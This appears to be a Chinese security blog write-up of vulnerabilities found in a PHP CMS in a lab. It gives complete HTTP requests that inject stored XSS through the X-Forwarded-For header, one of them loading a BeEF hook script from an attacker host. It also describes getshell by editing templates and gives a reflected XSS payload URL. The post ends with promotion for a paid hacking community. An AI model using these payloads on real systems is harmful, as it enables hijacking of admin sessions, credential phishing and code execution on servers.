漏洞环境
php5.6-8、Apache、Mysql,利用phpStudy进行搭建部署
漏洞利用说明
该后台登录的时候,无论是否登录成功,都会记录登录者的ip和用户名,且获取ip的函数没有做过滤,从而导致攻击者可以输入任意的用户名和密码,之后抓包在xff头中输入xss代码;当受害者登录时,即可获得用户的cookie;在获得用户的cookie后,利用cookie登录,可以在后端进行代码执行getshell。【以下漏洞仅作为技术分享,切勿瞎搞,搞出来事情与本人无关(以下漏洞均申请cve了)】
一、存储型xss漏洞
1.1 漏洞复现
浏览器访问:访问
http://ip//xxxxxcms/?m=admin&c=index&a=login
输入错误的用户名和密码,尝试进行登录,并抓包,添加
X-Forwarded-For: <script>alert(/xss/)</script>
点击发送
POST /xxxdcms/?m=admin&c=index&a=check HTTP/1.1
Host: 192.168.239.128
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 195
Origin: http://192.168.239.128
Connection: close
Referer: http://192.168.239.128/qingsdcms/?m=admin&c=index&a=login
Cookie: PHPSESSID=cl20evn42q7978lo3eeuma8jo2
X-Forwarded-For: <script>alert(/xss/)</script>
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Google Chrome";v="87", "Chromium";v="87", "Not=A?Brand";v="24"
sec-ch-ua-mobile: ?0
t0=admin&t1=741258&t2=rfqf&token=46f36bd24ed03fc5818c877c61d62871
在输入正确的密码,进行登录,登录成功后发现存在存储型xss漏洞。
这可以获得后台管理用户登录的cookie,从而登录后端管理平台,危害极大。
1.2 Beef实战
输入payload,等待用户登录
POST /qingsdcms/?m=admin&c=index&a=check HTTP/1.1
Host: 192.168.239.128
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 195
Origin: http://192.168.239.128
Connection: close
Referer: http://192.168.239.128/qingsdcms/?m=admin&c=index&a=login
Cookie: PHPSESSID=cl20evn42q7978lo3eeuma8jo2
X-Forwarded-For: <script src=http://192.168.239.131:3000/hook.js />
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Google Chrome";v="87", "Chromium";v="87", "Not=A?Brand";v="24"
sec-ch-ua-mobile: ?0
t0=admin&t1=741258&t2=rfqf&token=46f36bd24ed03fc5818c877c61d62871
之后输入正确的用户名和密码:admin:admin,进行登录,登录成功后,查看Beef上线
在获取getcookie的时候发现获取不到,应该是做了限制,可以采用钓鱼的方式诱惑用户输入密码
即可拿到用户的密码进行登录,还可以进行Beef其它操作,重定向浏览器等,危害巨大。
1.3 代码审计
首先使用Seay源代码审计系统进行代码扫描,发现位于/app/f.php文件中存在获取IP方法进行伪造,可以引发sql注入漏洞。
点开f.php进行查看发现存在getip函数
全局搜索发现/app/admin/c/index.php用引用这个函数
查看/app/admin/c/index.php,在check函数中有引用,第一个红框是查询IP地址为$ip、登录状态为0、且最近一天内登录过的用户数量,进行禁止暴力破解和sql注;第二个红框是检测密码和验证码输入是否规范和正确;第三个红框是进行登录验证;第四个红框是登录成功后进行更新;第五个红框是将登录的用户名称,ip,时间等进行添加,这说明无论是否登录成功都会将登录的ip进行记录,故此导致了存储型xss。
二、代码执行漏洞
2.1 漏洞复现
访问模板管理
选择本地模块,使用鼠标点击进去
在点击index.php,将里面内容全部删掉,写入代码执行命令,点击保存
访问http://192.168.239.128/qingsdcms/index.php,命令执行成功
2.2 代码分析
打开theme.php,查看代码,传入的参数t2被复制给$test,check_bad对$text进行过滤,之后会进行写入和保存。
查看check_bad函数,是对所有php危险函数进行了过滤,但是没有过滤
这里直接是die掉了。
文件包含我是从api模块的debug方法来打的。
三、反射性XSS漏洞
在浏览器中输入:
http://192.168.239.128/xxxxcms/?a=code%27%22()%26%25%3Cacx%3E%3CScRiPt%3Ealert(9678)%3C/ScRiPt%3E
感谢各位大佬们关注-不秃头的安全,后续会坚持更新渗透漏洞思路分享、安全测试、好用工具分享以及挖挖掘SRC思路等文章,同时会组织不定期抽奖,希望能得到各位的关注与支持。
★
欢 迎 加 入 星 球 !
代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员
进成员内部群
星球的最近主题和星球内部工具一些展示
加入安全交流群
关 注 有 礼
还在等什么?赶紧点击下方名片关注学习吧!
推荐阅读